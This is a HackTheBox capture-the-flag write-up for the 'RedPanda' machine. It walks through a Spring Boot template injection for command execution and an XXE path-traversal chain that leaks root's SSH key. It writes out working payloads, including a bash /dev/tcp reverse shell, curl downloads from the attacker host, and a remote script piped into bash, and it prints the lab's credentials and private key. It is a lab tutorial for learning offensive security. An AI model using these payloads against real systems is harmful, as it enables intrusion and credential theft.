RedPanda - HackTheBox Writeup (10.10.11.170)

Posted on Fri, Jan 20, 2023 Easy Linux Web Application Server-side Template Injection XXE Injection
Easy-difficulty Linux box on exploiting a server-side template injection vulnerability in a Spring Boot web application, then a not-so-easy privilege escalation involving an XML external entity injection vulnerability in a custom view counter script.

Preface

Trying to escalate privileges on this box gave me a headache, but it’s good to be doing a box that isn’t always so straight forward and actually requires some thinking.

Reconnaissance

Before we start, let’s add the target IP and hostname to our hosts file:

$ sudo nano /etc/hosts

10.10.11.170    redpanda.htb

We perform a simple port scan to see what services are running on the target.

$ nmap -p- redpanda.htb | tee ports-tcp.nmap

Nmap scan report for redpanda.htb (10.10.11.170)
Host is up (0.026s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 11.42 seconds

We see that there are only two services externally facing on our target, standard SSH on port 22 and a web server on port 8080. Let’s probe further with a script scan and enumerate versions:

$ nmap -sC -sV -p 22,8080 redpanda.htb | tee targeted-tcp.nmap

Nmap scan report for redpanda.htb (10.10.11.170)
Host is up (0.026s latency).

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
8080/tcp open  http-proxy
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 
|     Content-Type: text/html;charset=UTF-8
|     Content-Language: en-US
|     Date: Sun, 24 Jul 2022 11:09:44 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en" dir="ltr">
|     <head>
|     <meta charset="utf-8">
|     <meta author="wooden_k">
|     <!--Codepen by khr2003: https://codepen.io/khr2003/pen/BGZdXw -->
|     <link rel="stylesheet" href="css/panda.css" type="text/css">
|     <link rel="stylesheet" href="css/main.css" type="text/css">
|     <title>Red Panda Search | Made with Spring Boot</title>
|   HTTPOptions: 
|     HTTP/1.1 200 
|     Allow: GET,HEAD,OPTIONS
|     Content-Length: 0
|     Date: Sun, 24 Jul 2022 11:09:44 GMT
|     Connection: close
|   RTSPRequest: 
|     HTTP/1.1 400 
|     Content-Type: text/html;charset=utf-8
|     Content-Language: en
|     Content-Length: 435
|     Date: Sun, 24 Jul 2022 11:09:44 GMT
|     Connection: close
|_http-title: Red Panda Search | Made with Spring Boot
|_http-open-proxy: Proxy might be redirecting requests

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.36 seconds

Enumeration

We begin our enumeration by exploring the web application. Navigating to the site, we see a basic database search utility with a red panda theme:

As expected, searching with a string returns red pandas with the name matching the string:

There are also profiles for two entry authors, woodenk and damian:

Clicking “Export Table” produces an XML file of the following format:

<?xml version="1.0" encoding="UTF-8"?>
<credits>
  <author>woodenk</author>
  <image>
    <uri>/img/greg.jpg</uri>
    <views>3</views>
  </image>
  <image>
    <uri>/img/hungy.jpg</uri>
    <views>2</views>
  </image>
  <image>
    <uri>/img/smooch.jpg</uri>
    <views>1</views>
  </image>
  <image>
    <uri>/img/smiley.jpg</uri>
    <views>1</views>
  </image>
  <totalviews>7</totalviews>
</credits>

Which immediately makes me think we may need to perform some kind of XML exploitation later on when we have write access to the database, perhaps an XXE injection. The site also writes:

With every view an author gets for their red panda image, they are awarded with 1 creditpoint. These eventually lead up to a bigger payout bonus for their content

We will keep the two author’s names in mind as they may be users on the machine.

Exploitation

After trying the usual checklist of injection tests on the search box, I was unable to find any indication that it would be vulnerable to SQL injection, Server-Side Template Injection, or XSS.

Then, I realised that the website title has the words “Made with Spring Boot”, so I tried to find attacks specific to Spring Boot and stumbled on this:

#{7*7}

Looks like it is vulnerable to SSTI after all! The reason I missed it before is because Spring’s Expression Language (EL) uses different syntax for templating, than the usual Jinja or Twig. SpringEL uses the following:

Usually, variable expressions are what we are after in an SSTI attack, but the $ character has been blacklisted by the application. Luckily, we can still use selection expressions to do the job:

*{T(java.lang.Runtime).getRuntime().exec('whoami')}

Great! We are able to gain command execution. Let’s create a simple reverse shell script and exploit this further.

rev.sh:

#!/bin/bash
/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.38/7777 0>&1'

Next, we will host this on a temporary HTTP server for the victim machine to retrieve from:

$ python -m http.server 8888

Then, we will supply the following search string to trigger the download:

*{T(java.lang.Runtime).getRuntime().exec('curl http://10.10.14.38:8888/rev.sh -o rev.sh')}

10.10.11.170 - - [27/Aug/2022 23:18:56] "GET /rev.sh HTTP/1.1" 200 -

We see a request logged on our HTTP server. Assuming the download was successful and the file was written correctly, we can now spawn the reverse shell by executing the script. Let’s start a listener on port 7777:

$ nc -lvnp 7777

Then, we supply the search string:

{T(java.lang.Runtime).getRuntime().exec('bash rev.sh')}

Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::7777
Ncat: Listening on 0.0.0.0:7777
Ncat: Connection from 10.10.11.170.
Ncat: Connection from 10.10.11.170:37098.
bash: cannot set terminal process group (866): Inappropriate ioctl for device
bash: no job control in this shell
woodenk@redpanda:/tmp/hsperfdata_woodenk$

Voila, we’ve got a shell as woodenk! Let’s get the user flag:

$ cat ~/user.txt

Privilege Escalation

Checking for what privileges we have:

$ id

uid=1000(woodenk) gid=1001(logs) groups=1001(logs),1000(woodenk)

We are in the logs group, which suggests we might be able to find something useful in the application’s logs.

To automate the process, we run LinPEAS to enumerate for any privilege escalation vectors:

$ curl -s http://10.10.14.38:8888/linpeas.sh | bash

From the LinPEAS result, we have determined the following:

While monitoring for periodic processes with pspy, we find that there is a credit-score Java application that gets executed by cron every 2 minutes. More importantly, it is run as the root user:

2022/09/11 10:20:01 CMD: UID=0    PID=32376  | /usr/sbin/CRON -f
2022/09/11 10:20:01 CMD: UID=0    PID=32377  | /bin/sh -c /root/run_credits.sh
2022/09/11 10:20:01 CMD: UID=0    PID=32378  | /bin/sh /root/run_credits.sh 
2022/09/11 10:20:01 CMD: UID=0    PID=32379  | java -jar /opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar

We can find this along with two other custom applications, and a cleanup.sh script in /opt:

$ ls -la /opt

total 24
drwxr-xr-x  5 root root 4096 Jun 23 18:12 .
drwxr-xr-x 20 root root 4096 Jun 23 14:52 ..
-rwxr-xr-x  1 root root  462 Jun 23 18:12 cleanup.sh
drwxr-xr-x  3 root root 4096 Jun 14 14:35 credit-score
drwxr-xr-x  6 root root 4096 Jun 14 14:35 maven
drwxrwxr-x  5 root root 4096 Jun 14 14:35 panda_search

The MainController.java file in panda_search contains the password to the SQL database.

/opt/panda_search/src/main/java/com/panda_search/htb/panda_search/MainController.java:

Class.forName("com.mysql.cj.jdbc.Driver");
conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/red_panda", "woodenk", "RedPandazRule");
stmt = conn.prepareStatement("SELECT name, bio, imgloc, author FROM pandas WHERE name LIKE ?");

We have the credentials: woodenk:RedPandazRule

Looking at the credit-score application, we find the Java source code which provides some interesting hints about the mystery /credits directory.

/opt/credit-score/LogParser/final/src/main/java/com/logparser/App.java:

public static void main(String[] args) throws JDOMException, IOException, JpegProcessingException {
    File log_fd = new File("/opt/panda_search/redpanda.log");
    Scanner log_reader = new Scanner(log_fd);
    while(log_reader.hasNextLine())
    {
        String line = log_reader.nextLine();
        if(!isImage(line))
        {
            continue;
        }
        Map parsed_data = parseLog(line);
        System.out.println(parsed_data.get("uri"));
        String artist = getArtist(parsed_data.get("uri").toString());
        System.out.println("Artist: " + artist);
        String xmlPath = "/credits/" + artist + "_creds.xml";
        addViewTo(xmlPath, parsed_data.get("uri").toString());
    }
}

It seems to be reading from a redpanda.log file, parsing each entry, then writing each artist’s updated credit score to an XML file, then storing them in the /credits directory.

We also find the following code snippet in the panda_search application, which references the redpanda.log file.

/opt/panda_search/src/main/java/com/panda_search/htb/panda_search/RequestInterceptor.java:

@Override
public void afterCompletion (HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
    System.out.println("interceptor#postHandle called. Thread: " + Thread.currentThread().getName());
    String UserAgent = request.getHeader("User-Agent");
    String remoteAddr = request.getRemoteAddr();
    String requestUri = request.getRequestURI();
    Integer responseCode = response.getStatus();
    /*System.out.println("User agent: " + UserAgent);
    System.out.println("IP: " + remoteAddr);
    System.out.println("Uri: " + requestUri);
    System.out.println("Response code: " + responseCode.toString());*/
    System.out.println("LOG: " + responseCode.toString() + "||" + remoteAddr + "||" + UserAgent + "||" + requestUri);
    FileWriter fw = new FileWriter("/opt/panda_search/redpanda.log", true);
    BufferedWriter bw = new BufferedWriter(fw);
    bw.write(responseCode.toString() + "||" + remoteAddr + "||" + UserAgent + "||" + requestUri + "\n");
    bw.close();
}

Which seems to be a simple request logger that serves as a middleware for all requests. The logger records the IP, request URI, response code, along with the user agent of each request, then writes them to the redpanda.log file. All of this interaction seems fine so far, with the exception of the unsafe string concatenation we’ve seen everywhere.

Back to the credit-score application, we see that the “Artist” metadata tag is used in determining the artist of an image.

/opt/credit-score/LogParser/final/src/main/java/com/logparser/App.java:

public static String getArtist(String uri) throws IOException, JpegProcessingException
{
    String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
    File jpgFile = new File(fullpath);
    Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);
    for(Directory dir : metadata.getDirectories())
    {
        for(Tag tag : dir.getTags())
        {
            if(tag.getTagName() == "Artist")
            {
                return tag.getDescription();
            }
        }
    }

    return "N/A";
}

This artist name is then referenced again in the main function, where it is unsafely concatenated to the credit XML file path.

String xmlPath = "/credits/" + artist + "_creds.xml";

By directly concatenating the artist name into the path as so, we can perform a path traversal attack by supplying traversal characters such as ../ . Though, we don’t have a way to exploit this thus far, so we will keep this in mind for now.

The script has the function of incrementing an artist’s view count by one whenever somebody visits an image (URI ending in .jpg). It opens and parses the existing credit XML file, and then overwrites it with the new version:

public static void addViewTo(String path, String uri) throws JDOMException, IOException
{
    SAXBuilder saxBuilder = new SAXBuilder();
    XMLOutputter xmlOutput = new XMLOutputter();
    xmlOutput.setFormat(Format.getPrettyFormat());

    File fd = new File(path);
    
    Document doc = saxBuilder.build(fd);
    
    Element rootElement = doc.getRootElement();

    for(Element el: rootElement.getChildren())
    {

        
        if(el.getName() == "image")
        {
            if(el.getChild("uri").getText().equals(uri))
            {
                Integer totalviews = Integer.parseInt(rootElement.getChild("totalviews").getText()) + 1;
                System.out.println("Total views:" + Integer.toString(totalviews));
                rootElement.getChild("totalviews").setText(Integer.toString(totalviews));
                Integer views = Integer.parseInt(el.getChild("views").getText());
                el.getChild("views").setText(Integer.toString(views + 1));
            }
        }
    }
    BufferedWriter writer = new BufferedWriter(new FileWriter(fd));
    xmlOutput.output(doc, writer);
}

This is interesting, because if we are able to somehow manipulate the XML file, we will be able to gain arbitrary file read using XML external entity (XXE) injection. The SAXBuilder and XMLOutputter will parse the existing XML file, resolve the external entity (i.e. including whatever file we specify), then overwrite the file.

To exploit this, the following conditions must all be true:

  1. We have a malicious XML file in a directory that we can write to (e.g. /dev/shm), with an external entity referencing a local file. This can be the root user’s SSH private key, since we know SSH login as root is allowed.
  2. We can manipulate the redpanda.log file such that credit-score will read and parse our malicious XML, then write the result to the file.
  3. We have a JPG image in a directory that we can write to, with its “Artist” metadata tag crafted such that when concatenated, it will point to where we’ve stored the XML file.

Creating the XML file

Let’s move step by step. To perform the XXE injection, we create the following XML file with the entity which will include the root’s private SSH key. We will call this file greg_creds.xml, and we will match this name in the URI:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///root/.ssh/id_rsa"> ]>
<credits>
  <author>greg</author>
  <image>
    <uri>/../../../../../../../../../../dev/shm/greg.jpg</uri>
    <inj>&xxe;</inj>
    <views>1</views>
  </image>
  <totalviews>1</totalviews>
</credits>

The forward slash in front of the URI is SUPER important! It took me hours to realise that the image path does not end with a slash, so when provided with something that starts with ../, it would end up returning an invalid path:

String fullpath = "/opt/panda_search/src/main/resources/static" + uri;

Manipulating the access log

Next, we need a way to manipulate redpanda.log so that it will read our XML file. We have two method to do this:

  1. Send a crafted HTTP request using curl, with the user-agent being the path to our image.
  2. Just write directly to redpanda.log. We can do this because the file is owned by the logs group and the woodenk user is granted this group permission under the panda_search application.

Using curl, we will send the request with the following user-agent:

||/../../../../../../../../../../dev/shm/greg.jpg

Note the || at the start of the user-agent, this is because the path needs to fall under the forth delimited string (separated by ||):

map.put("status_code", Integer.parseInt(strings[0]));
map.put("ip", strings[1]);
map.put("user_agent", strings[2]);
map.put("uri", strings[3]);

If we are directly modifying redpanda.log, we also need to make sure the first field is an integer. An example line would be:

200||aaa||aaa||/../../../../../../../../../../dev/shm/greg.jpg

Crafting the JPG file

Lastly, we will need to craft a JPG file with the “Artist” metadata. To do this, we will take one of the existing images on the website: http://redpanda.htb:8080/img/greg.jpg

Then, we will change the “Artist” tag with exiftool:

$ exiftool -Artist="/../../../../../../../../../../dev/shm/greg" ./greg.jpg

Bringing everything together

We now have everything we need! To execute the attack, all we have to do now is upload the files to /dev/shm, and send the request.

$ wget http://10.10.14.38:8888/greg.jpg

$ wget http://10.10.14.38:8888/greg_creds.xml

$ curl -A "||/../../../../../../../../../../dev/shm/greg.jpg" http://redpanda.htb:8080/

Wait around 2 minutes, and once successful, the credit score XML file we placed will look something like this:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo>
<credits>
  <author>greg</author>
  <image>
    <uri>/../../../../../../../../../../dev/shm/greg.jpg</uri>
    <inj>-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29
ugAAAAtzc2gtZWQyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQ
AAAECj9KoL1KnAlvQDz93ztNrROky2arZpP8t8UgdfLI0HvN5Q081w1miL4ByNky01txxJ
RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE=
-----END OPENSSH PRIVATE KEY-----</inj>
    <views>2</views>
  </image>
  <totalviews>2</totalviews>
</credits>

We have the root user’s SSH private key!

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29
ugAAAAtzc2gtZWQyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQ
AAAECj9KoL1KnAlvQDz93ztNrROky2arZpP8t8UgdfLI0HvN5Q081w1miL4ByNky01txxJ
RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE=
-----END OPENSSH PRIVATE KEY-----

With this, we can trivially log in as root. Let’s save it as a file, making sure to give it the appropriate permissions (SSH is very picky about protecting identity files):

$ nano root_id_rsa && chmod 600 root_id_rsa

$ ssh [email protected] -i ./root_id_rsa

And we can get the root flag!

$ cat root.txt

Resources

  1. Exploiting SSTI in Thymeleaf - https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/
  2. XML external entity (XXE) injection - https://portswigger.net/web-security/xxe